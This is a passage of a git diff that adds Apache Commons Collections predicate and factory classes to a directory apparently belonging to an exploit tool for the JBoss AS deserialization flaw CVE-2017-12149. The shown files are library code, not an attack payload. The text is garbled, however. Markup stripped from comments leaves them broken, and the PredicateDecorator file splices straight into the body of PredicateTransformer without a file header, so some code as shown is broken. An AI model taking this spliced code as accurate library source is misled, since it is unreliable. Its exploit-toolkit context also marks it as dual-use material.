+ return iPredicates;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NotNullPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NotNullPredicate.java"
new file mode 100644
index 0000000..2e7758f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NotNullPredicate.java"
@@ -0,0 +1,65 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if the input is not null.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class NotNullPredicate implements Predicate, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 7533784454832764388L;
+
+ /** Singleton predicate instance */
+ public static final Predicate INSTANCE = new NotNullPredicate();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Predicate getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Restricted constructor.
+ */
+ private NotNullPredicate() {
+ super();
+ }
+
+ /**
+ * Evaluates the predicate returning true if the object does not equal null.
+ *
+ * @param object the object to evaluate
+ * @return true if not null
+ */
+ public boolean evaluate(Object object) {
+ return (object != null);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NotPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NotPredicate.java"
new file mode 100644
index 0000000..ecae2c9
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NotPredicate.java"
@@ -0,0 +1,83 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns the opposite of the decorated predicate.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class NotPredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -2654603322338049674L;
+
+ /** The predicate to decorate */
+ private final Predicate iPredicate;
+
+ /**
+ * Factory to create the not predicate.
+ *
+ * @param predicate the predicate to decorate, not null
+ * @return the predicate
+ * @throws IllegalArgumentException if the predicate is null
+ */
+ public static Predicate getInstance(Predicate predicate) {
+ if (predicate == null) {
+ throw new IllegalArgumentException("Predicate must not be null");
+ }
+ return new NotPredicate(predicate);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicate the predicate to call after the null check
+ */
+ public NotPredicate(Predicate predicate) {
+ super();
+ iPredicate = predicate;
+ }
+
+ /**
+ * Evaluates the predicate returning the opposite to the stored predicate.
+ *
+ * @param object the input object
+ * @return true if predicate returns false
+ */
+ public boolean evaluate(Object object) {
+ return !(iPredicate.evaluate(object));
+ }
+
+ /**
+ * Gets the predicate being decorated.
+ *
+ * @return the predicate as the only element in an array
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return new Predicate[] {iPredicate};
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsExceptionPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsExceptionPredicate.java"
new file mode 100644
index 0000000..5161988
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsExceptionPredicate.java"
@@ -0,0 +1,89 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.FunctorException;
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that throws an exception if the input is null.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class NullIsExceptionPredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 3243449850504576071L;
+
+ /** The predicate to decorate */
+ private final Predicate iPredicate;
+
+ /**
+ * Factory to create the null exception predicate.
+ *
+ * @param predicate the predicate to decorate, not null
+ * @return the predicate
+ * @throws IllegalArgumentException if the predicate is null
+ */
+ public static Predicate getInstance(Predicate predicate) {
+ if (predicate == null) {
+ throw new IllegalArgumentException("Predicate must not be null");
+ }
+ return new NullIsExceptionPredicate(predicate);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicate the predicate to call after the null check
+ */
+ public NullIsExceptionPredicate(Predicate predicate) {
+ super();
+ iPredicate = predicate;
+ }
+
+ /**
+ * Evaluates the predicate returning the result of the decorated predicate
+ * once a null check is performed.
+ *
+ * @param object the input object
+ * @return true if decorated predicate returns true
+ * @throws FunctorException if input is null
+ */
+ public boolean evaluate(Object object) {
+ if (object == null) {
+ throw new FunctorException("Input Object must not be null");
+ }
+ return iPredicate.evaluate(object);
+ }
+
+ /**
+ * Gets the predicate being decorated.
+ *
+ * @return the predicate as the only element in an array
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return new Predicate[] {iPredicate};
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsFalsePredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsFalsePredicate.java"
new file mode 100644
index 0000000..27e48cb
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsFalsePredicate.java"
@@ -0,0 +1,87 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns false if the input is null.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class NullIsFalsePredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -2997501534564735525L;
+
+ /** The predicate to decorate */
+ private final Predicate iPredicate;
+
+ /**
+ * Factory to create the null false predicate.
+ *
+ * @param predicate the predicate to decorate, not null
+ * @return the predicate
+ * @throws IllegalArgumentException if the predicate is null
+ */
+ public static Predicate getInstance(Predicate predicate) {
+ if (predicate == null) {
+ throw new IllegalArgumentException("Predicate must not be null");
+ }
+ return new NullIsFalsePredicate(predicate);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicate the predicate to call after the null check
+ */
+ public NullIsFalsePredicate(Predicate predicate) {
+ super();
+ iPredicate = predicate;
+ }
+
+ /**
+ * Evaluates the predicate returning the result of the decorated predicate
+ * once a null check is performed.
+ *
+ * @param object the input object
+ * @return true if decorated predicate returns true, false if input is null
+ */
+ public boolean evaluate(Object object) {
+ if (object == null) {
+ return false;
+ }
+ return iPredicate.evaluate(object);
+ }
+
+ /**
+ * Gets the predicate being decorated.
+ *
+ * @return the predicate as the only element in an array
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return new Predicate[] {iPredicate};
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsTruePredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsTruePredicate.java"
new file mode 100644
index 0000000..4607806
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsTruePredicate.java"
@@ -0,0 +1,87 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if the input is null.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class NullIsTruePredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -7625133768987126273L;
+
+ /** The predicate to decorate */
+ private final Predicate iPredicate;
+
+ /**
+ * Factory to create the null true predicate.
+ *
+ * @param predicate the predicate to decorate, not null
+ * @return the predicate
+ * @throws IllegalArgumentException if the predicate is null
+ */
+ public static Predicate getInstance(Predicate predicate) {
+ if (predicate == null) {
+ throw new IllegalArgumentException("Predicate must not be null");
+ }
+ return new NullIsTruePredicate(predicate);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicate the predicate to call after the null check
+ */
+ public NullIsTruePredicate(Predicate predicate) {
+ super();
+ iPredicate = predicate;
+ }
+
+ /**
+ * Evaluates the predicate returning the result of the decorated predicate
+ * once a null check is performed.
+ *
+ * @param object the input object
+ * @return true if decorated predicate returns true or input is null
+ */
+ public boolean evaluate(Object object) {
+ if (object == null) {
+ return true;
+ }
+ return iPredicate.evaluate(object);
+ }
+
+ /**
+ * Gets the predicate being decorated.
+ *
+ * @return the predicate as the only element in an array
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return new Predicate[] {iPredicate};
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullPredicate.java"
new file mode 100644
index 0000000..151e27a
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullPredicate.java"
@@ -0,0 +1,65 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if the input is null.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:16:01 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class NullPredicate implements Predicate, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 7533784454832764388L;
+
+ /** Singleton predicate instance */
+ public static final Predicate INSTANCE = new NullPredicate();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Predicate getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Restricted constructor.
+ */
+ private NullPredicate() {
+ super();
+ }
+
+ /**
+ * Evaluates the predicate returning true if the input is null.
+ *
+ * @param object the input object
+ * @return true if input is null
+ */
+ public boolean evaluate(Object object) {
+ return (object == null);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/OnePredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/OnePredicate.java"
new file mode 100644
index 0000000..4977298
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/OnePredicate.java"
@@ -0,0 +1,109 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.util.Collection;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if only one of the predicates return true.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class OnePredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -8125389089924745785L;
+
+ /** The array of predicates to call */
+ private final Predicate[] iPredicates;
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param predicates the predicates to check, cloned, not null
+ * @return the any
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ * @throws IllegalArgumentException if any predicate in the array is null
+ */
+ public static Predicate getInstance(Predicate[] predicates) {
+ FunctorUtils.validateMin2(predicates);
+ predicates = FunctorUtils.copy(predicates);
+ return new OnePredicate(predicates);
+ }
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param predicates the predicates to check, cloned, not null
+ * @return the one
predicate
+ * @throws IllegalArgumentException if the predicates array is null
+ * @throws IllegalArgumentException if any predicate in the array is null
+ * @throws IllegalArgumentException if the predicates array has less than 2 elements
+ */
+ public static Predicate getInstance(Collection predicates) {
+ Predicate[] preds = FunctorUtils.validate(predicates);
+ return new OnePredicate(preds);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicates the predicates to check, not cloned, not null
+ */
+ public OnePredicate(Predicate[] predicates) {
+ super();
+ iPredicates = predicates;
+ }
+
+ /**
+ * Evaluates the predicate returning true if only one decorated predicate
+ * returns true.
+ *
+ * @param object the input object
+ * @return true if only one decorated predicate returns true
+ */
+ public boolean evaluate(Object object) {
+ boolean match = false;
+ for (int i = 0; i < iPredicates.length; i++) {
+ if (iPredicates[i].evaluate(object)) {
+ if (match) {
+ return false;
+ }
+ match = true;
+ }
+ }
+ return match;
+ }
+
+ /**
+ * Gets the predicates, do not modify the array.
+ *
+ * @return the predicates
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return iPredicates;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/OrPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/OrPredicate.java"
new file mode 100644
index 0000000..2516462
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/OrPredicate.java"
@@ -0,0 +1,88 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if either of the predicates return true.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/31 16:43:17 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class OrPredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -8791518325735182855L;
+
+ /** The array of predicates to call */
+ private final Predicate iPredicate1;
+ /** The array of predicates to call */
+ private final Predicate iPredicate2;
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param predicate1 the first predicate to check, not null
+ * @param predicate2 the second predicate to check, not null
+ * @return the and
predicate
+ * @throws IllegalArgumentException if either predicate is null
+ */
+ public static Predicate getInstance(Predicate predicate1, Predicate predicate2) {
+ if (predicate1 == null || predicate2 == null) {
+ throw new IllegalArgumentException("Predicate must not be null");
+ }
+ return new OrPredicate(predicate1, predicate2);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicate1 the first predicate to check, not null
+ * @param predicate2 the second predicate to check, not null
+ */
+ public OrPredicate(Predicate predicate1, Predicate predicate2) {
+ super();
+ iPredicate1 = predicate1;
+ iPredicate2 = predicate2;
+ }
+
+ /**
+ * Evaluates the predicate returning true if either predicate returns true.
+ *
+ * @param object the input object
+ * @return true if either decorated predicate returns true
+ */
+ public boolean evaluate(Object object) {
+ return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));
+ }
+
+ /**
+ * Gets the two predicates being decorated as an array.
+ *
+ * @return the predicates
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return new Predicate[] {iPredicate1, iPredicate2};
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PredicateDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PredicateDecorator.java"
new file mode 100644
index 0000000..b0f7eeb
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PredicateDecorator.java"
@@ -0,0 +1,42 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Defines a predicate that decorates one or more other predicates.
+ * predicate
transformer
+ * @throws IllegalArgumentException if the predicate is null
+ */
+ public static Transformer getInstance(Predicate predicate) {
+ if (predicate == null) {
+ throw new IllegalArgumentException("Predicate must not be null");
+ }
+ return new PredicateTransformer(predicate);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicate the predicate to call, not null
+ */
+ public PredicateTransformer(Predicate predicate) {
+ super();
+ iPredicate = predicate;
+ }
+
+ /**
+ * Transforms the input to result by calling a predicate.
+ *
+ * @param input the input object to transform
+ * @return the transformed result
+ */
+ public Object transform(Object input) {
+ return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);
+ }
+
+ /**
+ * Gets the predicate.
+ *
+ * @return the predicate
+ * @since Commons Collections 3.1
+ */
+ public Predicate getPredicate() {
+ return iPredicate;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PrototypeFactory.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PrototypeFactory.java"
new file mode 100644
index 0000000..b3390c4
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PrototypeFactory.java"
@@ -0,0 +1,208 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+import org.apache.commons.collections.Factory;
+import org.apache.commons.collections.FunctorException;
+
+/**
+ * Factory implementation that creates a new instance each time based on a prototype.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public class PrototypeFactory {
+
+ /**
+ * Factory method that performs validation.
+ *
+ *
+ *
+ * @param prototype the object to clone each time in the factory
+ * @return the
prototype
factory
+ * @throws IllegalArgumentException if the prototype is null
+ * @throws IllegalArgumentException if the prototype cannot be cloned
+ */
+ public static Factory getInstance(Object prototype) {
+ if (prototype == null) {
+ return ConstantFactory.NULL_INSTANCE;
+ }
+ try {
+ Method method = prototype.getClass().getMethod("clone", null);
+ return new PrototypeCloneFactory(prototype, method);
+
+ } catch (NoSuchMethodException ex) {
+ try {
+ prototype.getClass().getConstructor(new Class[] { prototype.getClass()});
+ return new InstantiateFactory(
+ prototype.getClass(),
+ new Class[] { prototype.getClass()},
+ new Object[] { prototype });
+
+ } catch (NoSuchMethodException ex2) {
+ if (prototype instanceof Serializable) {
+ return new PrototypeSerializationFactory((Serializable) prototype);
+ }
+ }
+ }
+ throw new IllegalArgumentException("The prototype must be cloneable via a public clone method");
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ */
+ private PrototypeFactory() {
+ super();
+ }
+
+ // PrototypeCloneFactory
+ //-----------------------------------------------------------------------
+ /**
+ * PrototypeCloneFactory creates objects by copying a prototype using the clone method.
+ */
+ static class PrototypeCloneFactory implements Factory, Serializable {
+
+ /** The serial version */
+ static final long serialVersionUID = 5604271422565175555L;
+
+ /** The object to clone each time */
+ private final Object iPrototype;
+ /** The method used to clone */
+ private transient Method iCloneMethod;
+
+ /**
+ * Constructor to store prototype.
+ */
+ private PrototypeCloneFactory(Object prototype, Method method) {
+ super();
+ iPrototype = prototype;
+ iCloneMethod = method;
+ }
+
+ /**
+ * Find the Clone method for the class specified.
+ */
+ private void findCloneMethod() {
+ try {
+ iCloneMethod = iPrototype.getClass().getMethod("clone", null);
+
+ } catch (NoSuchMethodException ex) {
+ throw new IllegalArgumentException("PrototypeCloneFactory: The clone method must exist and be public ");
+ }
+ }
+
+ /**
+ * Creates an object by calling the clone method.
+ *
+ * @return the new object
+ */
+ public Object create() {
+ // needed for post-serialization
+ if (iCloneMethod == null) {
+ findCloneMethod();
+ }
+
+ try {
+ return iCloneMethod.invoke(iPrototype, null);
+
+ } catch (IllegalAccessException ex) {
+ throw new FunctorException("PrototypeCloneFactory: Clone method must be public", ex);
+ } catch (InvocationTargetException ex) {
+ throw new FunctorException("PrototypeCloneFactory: Clone method threw an exception", ex);
+ }
+ }
+ }
+
+ // PrototypeSerializationFactory
+ //-----------------------------------------------------------------------
+ /**
+ * PrototypeSerializationFactory creates objects by cloning a prototype using serialization.
+ */
+ static class PrototypeSerializationFactory implements Factory, Serializable {
+
+ /** The serial version */
+ static final long serialVersionUID = -8704966966139178833L;
+
+ /** The object to clone via serialization each time */
+ private final Serializable iPrototype;
+
+ /**
+ * Constructor to store prototype
+ */
+ private PrototypeSerializationFactory(Serializable prototype) {
+ super();
+ iPrototype = prototype;
+ }
+
+ /**
+ * Creates an object using serialization.
+ *
+ * @return the new object
+ */
+ public Object create() {
+ ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
+ ByteArrayInputStream bais = null;
+ try {
+ ObjectOutputStream out = new ObjectOutputStream(baos);
+ out.writeObject(iPrototype);
+
+ bais = new ByteArrayInputStream(baos.toByteArray());
+ ObjectInputStream in = new ObjectInputStream(bais);
+ return in.readObject();
+
+ } catch (ClassNotFoundException ex) {
+ throw new FunctorException(ex);
+ } catch (IOException ex) {
+ throw new FunctorException(ex);
+ } finally {
+ try {
+ if (bais != null) {
+ bais.close();
+ }
+ } catch (IOException ex) {
+ // ignore
+ }
+ try {
+ if (baos != null) {
+ baos.close();
+ }
+ } catch (IOException ex) {
+ // ignore
+ }
+ }
+ }
+ }
+
+}
